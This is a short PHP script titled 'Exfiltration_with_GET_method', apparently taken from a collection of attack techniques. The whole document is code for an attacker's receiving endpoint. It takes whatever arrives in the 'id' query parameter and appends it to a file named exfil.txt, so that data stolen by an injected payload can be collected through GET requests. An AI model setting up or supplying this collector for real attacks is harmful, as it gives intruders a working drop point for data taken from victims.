Exfiltration_with_GET_method

<?php
$id = $_GET['id'];
$id2 = $id."\n";
$fp = fopen('./exfil.txt', 'a+');
fwrite($fp, $id2);
fclose($fp);
?>